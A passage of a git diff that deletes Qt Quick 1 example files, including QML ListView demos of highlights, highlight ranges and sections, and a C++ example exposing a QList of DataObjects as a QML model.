- ParallelAnimation { - ColorAnimation { property: "color"; duration: 500 } - NumberAnimation { duration: 300; properties: "detailsOpacity,x,contentY,height,width" } - } - } - } - } - - // The actual list - ListView { - id: listView - anchors.fill: parent - model: RecipesModel {} - delegate: recipeDelegate - } -} diff --git a/examples/declarative/qtquick1/modelviews/listview/highlight.qml b/examples/declarative/qtquick1/modelviews/listview/highlight.qml deleted file mode 100644 index cb2829b81b..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/highlight.qml +++ /dev/null @@ -1,99 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -// This example shows how to create your own highlight delegate for a ListView -// that uses a SpringAnimation to provide custom movement when the -// highlight bar is moved between items. - -import QtQuick 1.0 -import "content" - -Rectangle { - width: 200; height: 300 - - // Define a delegate component. A component will be - // instantiated for each visible item in the list. - Component { - id: petDelegate - Item { - id: wrapper - width: 200; height: 55 - Column { - Text { text: 'Name: ' + name } - Text { text: 'Type: ' + type } - Text { text: 'Age: ' + age } - } - // indent the item if it is the current item - states: State { - name: "Current" - when: wrapper.ListView.isCurrentItem - PropertyChanges { target: wrapper; x: 20 } - } - transitions: Transition { - NumberAnimation { properties: "x"; duration: 200 } - } - } - } - - // Define a highlight with customised movement between items. - Component { - id: highlightBar - Rectangle { - width: 200; height: 50 - color: "#FFFF88" - y: listView.currentItem.y; - Behavior on y { SpringAnimation { spring: 2; damping: 0.1 } } - } - } - - ListView { - id: listView - width: 200; height: parent.height - - model: PetsModel {} - delegate: petDelegate - focus: true - - // Set the highlight delegate. Note we must also set highlightFollowsCurrentItem - // to false so the highlight delegate can control how the highlight is moved. - highlight: highlightBar - highlightFollowsCurrentItem: false - } -} diff --git a/examples/declarative/qtquick1/modelviews/listview/highlightranges.qml b/examples/declarative/qtquick1/modelviews/listview/highlightranges.qml deleted file mode 100644 index c4e01b06ae..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/highlightranges.qml +++ /dev/null @@ -1,122 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -Rectangle { - id: root - property int current: 0 - width: 600; height: 300 - - // This example shows the same model in three different ListView items, - // with different highlight ranges. The highlight ranges are set by the - // preferredHighlightBegin and preferredHighlightEnd properties in ListView. - // - // The first ListView does not set a highlight range, so its currentItem - // can move freely within the visible area. If it moves outside the - // visible area, the view is automatically scrolled to keep the current - // item visible. - // - // The second ListView sets a highlight range which attempts to keep the - // current item within the the bounds of the range. However, - // items will not scroll beyond the beginning or end of the view, - // forcing the highlight to move outside the range at the ends. - // - // The third ListView sets the highlightRangeMode to StrictlyEnforceRange - // and sets a range smaller than the height of an item. This - // forces the current item to change when the view is flicked, - // since the highlight is unable to move. - // - // All ListViews bind their currentIndex to the root.current property. - // The first ListView sets root.current whenever its currentIndex changes - // due to keyboard interaction. - // Flicking the third ListView with the mouse also changes root.current. - - ListView { - id: list1 - width: 200; height: parent.height - model: PetsModel {} - delegate: petDelegate - - highlight: Rectangle { color: "lightsteelblue" } - currentIndex: root.current - onCurrentIndexChanged: root.current = currentIndex - focus: true - } - - ListView { - id: list2 - x: list1.width - width: 200; height: parent.height - model: PetsModel {} - delegate: petDelegate - - highlight: Rectangle { color: "yellow" } - currentIndex: root.current - preferredHighlightBegin: 80; preferredHighlightEnd: 220 - highlightRangeMode: ListView.ApplyRange - } - - ListView { - id: list3 - x: list1.width + list2.width - width: 200; height: parent.height - model: PetsModel {} - delegate: petDelegate - - highlight: Rectangle { color: "yellow" } - currentIndex: root.current - onCurrentIndexChanged: root.current = currentIndex - preferredHighlightBegin: 125; preferredHighlightEnd: 125 - highlightRangeMode: ListView.StrictlyEnforceRange - } - - // The delegate for each list - Component { - id: petDelegate - Column { - width: 200 - Text { text: 'Name: ' + name } - Text { text: 'Type: ' + type } - Text { text: 'Age: ' + age } - } - } -} diff --git a/examples/declarative/qtquick1/modelviews/listview/listview.qmlproject b/examples/declarative/qtquick1/modelviews/listview/listview.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/listview.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/modelviews/listview/sections.qml b/examples/declarative/qtquick1/modelviews/listview/sections.qml deleted file mode 100644 index 6232f20315..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/sections.qml +++ /dev/null @@ -1,87 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -// This example shows how a ListView can be separated into sections using -// the ListView.section attached property. - -import QtQuick 1.0 - -//! [0] -Rectangle { - id: container - width: 200 - height: 250 - - ListModel { - id: animalsModel - ListElement { name: "Parrot"; size: "Small" } - ListElement { name: "Guinea pig"; size: "Small" } - ListElement { name: "Dog"; size: "Medium" } - ListElement { name: "Cat"; size: "Medium" } - ListElement { name: "Elephant"; size: "Large" } - } - - // The delegate for each section header - Component { - id: sectionHeading - Rectangle { - width: container.width - height: childrenRect.height - color: "lightsteelblue" - - Text { - text: section - font.bold: true - } - } - } - - ListView { - anchors.fill: parent - model: animalsModel - delegate: Text { text: name } - - section.property: "size" - section.criteria: ViewSection.FullString - section.delegate: sectionHeading - } -} -//! [0] - diff --git a/examples/declarative/qtquick1/modelviews/modelviews.pro b/examples/declarative/qtquick1/modelviews/modelviews.pro deleted file mode 100644 index b811e44dc9..0000000000 --- a/examples/declarative/qtquick1/modelviews/modelviews.pro +++ /dev/null @@ -1,7 +0,0 @@ -TEMPLATE = subdirs - -SUBDIRS += \ - objectlistmodel \ - stringlistmodel - - diff --git a/examples/declarative/qtquick1/modelviews/modelviews.qmlproject b/examples/declarative/qtquick1/modelviews/modelviews.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/modelviews/modelviews.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/modelviews/objectlistmodel/dataobject.cpp b/examples/declarative/qtquick1/modelviews/objectlistmodel/dataobject.cpp deleted file mode 100644 index 6acc49f7c9..0000000000 --- a/examples/declarative/qtquick1/modelviews/objectlistmodel/dataobject.cpp +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "dataobject.h" - -DataObject::DataObject(QObject *parent) - : QObject(parent) -{ -} - -DataObject::DataObject(const QString &name, const QString &color, QObject *parent) - : QObject(parent), m_name(name), m_color(color) -{ -} - -QString DataObject::name() const -{ - return m_name; -} - -void DataObject::setName(const QString &name) -{ - if (name != m_name) { - m_name = name; - emit nameChanged(); - } -} - -QString DataObject::color() const -{ - return m_color; -} - -void DataObject::setColor(const QString &color) -{ - if (color != m_color) { - m_color = color; - emit colorChanged(); - } -} diff --git a/examples/declarative/qtquick1/modelviews/objectlistmodel/dataobject.h b/examples/declarative/qtquick1/modelviews/objectlistmodel/dataobject.h deleted file mode 100644 index bea92a273c..0000000000 --- a/examples/declarative/qtquick1/modelviews/objectlistmodel/dataobject.h +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef DATAOBJECT_H -#define DATAOBJECT_H - -#include - -//![0] -class DataObject : public QObject -{ - Q_OBJECT - - Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged) - Q_PROPERTY(QString color READ color WRITE setColor NOTIFY colorChanged) -//![0] - -public: - DataObject(QObject *parent=0); - DataObject(const QString &name, const QString &color, QObject *parent=0); - - QString name() const; - void setName(const QString &name); - - QString color() const; - void setColor(const QString &color); - -signals: - void nameChanged(); - void colorChanged(); - -private: - QString m_name; - QString m_color; -//![1] -}; -//![1] - -#endif // DATAOBJECT_H diff --git a/examples/declarative/qtquick1/modelviews/objectlistmodel/main.cpp b/examples/declarative/qtquick1/modelviews/objectlistmodel/main.cpp deleted file mode 100644 index ad9cead90c..0000000000 --- a/examples/declarative/qtquick1/modelviews/objectlistmodel/main.cpp +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the demonstration applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include - -#include -#include -#include -#include - -#include "dataobject.h" - -/* - This example illustrates exposing a QList as a - model in QML -*/ - -//![0] -int main(int argc, char ** argv) -{ - QApplication app(argc, argv); - - QList dataList; - dataList.append(new DataObject("Item 1", "red")); - dataList.append(new DataObject("Item 2", "green")); - dataList.append(new DataObject("Item 3", "blue")); - dataList.append(new DataObject("Item 4", "yellow")); - - QDeclarativeView view; - QDeclarativeContext *ctxt = view.rootContext(); - ctxt->setContextProperty("myModel", QVariant::fromValue(dataList)); -//![0] - - view.setSource(QUrl("qrc:view.qml")); - view.show(); - - return app.exec(); -} - diff --git a/examples/declarative/qtquick1/modelviews/objectlistmodel/objectlistmodel.pro b/examples/declarative/qtquick1/modelviews/objectlistmodel/objectlistmodel.pro deleted file mode 100644 index f67a9812e4..0000000000 --- a/examples/declarative/qtquick1/modelviews/objectlistmodel/objectlistmodel.pro +++ /dev/null @@ -1,18 +0,0 @@ -TEMPLATE = app -TARGET = objectlistmodel -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative qtquick1 - -# Input -SOURCES += main.cpp \ - dataobject.cpp -HEADERS += dataobject.h -RESOURCES += objectlistmodel.qrc - -sources.files = $$SOURCES $$HEADERS $$RESOURCES objectlistmodel.pro view.qml -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/objectlistmodel -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/objectlistmodel - -INSTALLS += sources target - diff --git a/examples/declarative/qtquick1/modelviews/objectlistmodel/objectlistmodel.qmlproject b/examples/declarative/qtquick1/modelviews/objectlistmodel/objectlistmodel.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/modelviews/objectlistmodel/objectlistmodel.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/modelviews/objectlistmodel/objectlistmodel.qrc b/examples/declarative/qtquick1/modelviews/objectlistmodel/objectlistmodel.qrc deleted file mode 100644 index 17e9301471..0000000000 --- a/examples/declarative/qtquick1/modelviews/objectlistmodel/objectlistmodel.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - view.qml - - diff --git a/examples/declarative/qtquick1/modelviews/objectlistmodel/view.qml b/examples/declarative/qtquick1/modelviews/objectlistmodel/view.qml deleted file mode 100644 index e4b32cacfb..0000000000 --- a/examples/declarative/qtquick1/modelviews/objectlistmodel/view.qml +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//![0] -ListView { - width: 100; height: 100 - anchors.fill: parent - - model: myModel - delegate: Rectangle { - height: 25 - width: 100 - color: model.modelData.color - Text { text: name } - } -} -//![0] diff --git a/examples/declarative/qtquick1/modelviews/package/Delegate.qml b/examples/declarative/qtquick1/modelviews/package/Delegate.qml deleted file mode 100644 index 9927e98902..0000000000 --- a/examples/declarative/qtquick1/modelviews/package/Delegate.qml +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//![0] -Package { - Text { id: listDelegate; width: 200; height: 25; text: 'Empty'; Package.name: 'list' } - Text { id: gridDelegate; width: 100; height: 50; text: 'Empty'; Package.name: 'grid' } - - Rectangle { - id: wrapper - width: 200; height: 25 - color: 'lightsteelblue' - - Text { text: display; anchors.centerIn: parent } - MouseArea { - anchors.fill: parent - onClicked: { - if (wrapper.state == 'inList') - wrapper.state = 'inGrid'; - else - wrapper.state = 'inList'; - } - } - - state: 'inList' - states: [ - State { - name: 'inList' - ParentChange { target: wrapper; parent: listDelegate } - }, - State { - name: 'inGrid' - ParentChange { - target: wrapper; parent: gridDelegate - x: 0; y: 0; width: gridDelegate.width; height: gridDelegate.height - } - } - ] - - transitions: [ - Transition { - ParentAnimation { - NumberAnimation { properties: 'x,y,width,height'; duration: 300 } - } - } - ] - } -} -//![0] diff --git a/examples/declarative/qtquick1/modelviews/package/package.qmlproject b/examples/declarative/qtquick1/modelviews/package/package.qmlproject deleted file mode 100644 index 4500debb3a..0000000000 --- a/examples/declarative/qtquick1/modelviews/package/package.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "view.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/modelviews/package/view.qml b/examples/declarative/qtquick1/modelviews/package/view.qml deleted file mode 100644 index 9fe3b92521..0000000000 --- a/examples/declarative/qtquick1/modelviews/package/view.qml +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 400 - height: 200 - - ListModel { - id: myModel - ListElement { display: "One" } - ListElement { display: "Two" } - ListElement { display: "Three" } - ListElement { display: "Four" } - ListElement { display: "Five" } - ListElement { display: "Six" } - ListElement { display: "Seven" } - ListElement { display: "Eight" } - } - //![0] - VisualDataModel { - id: 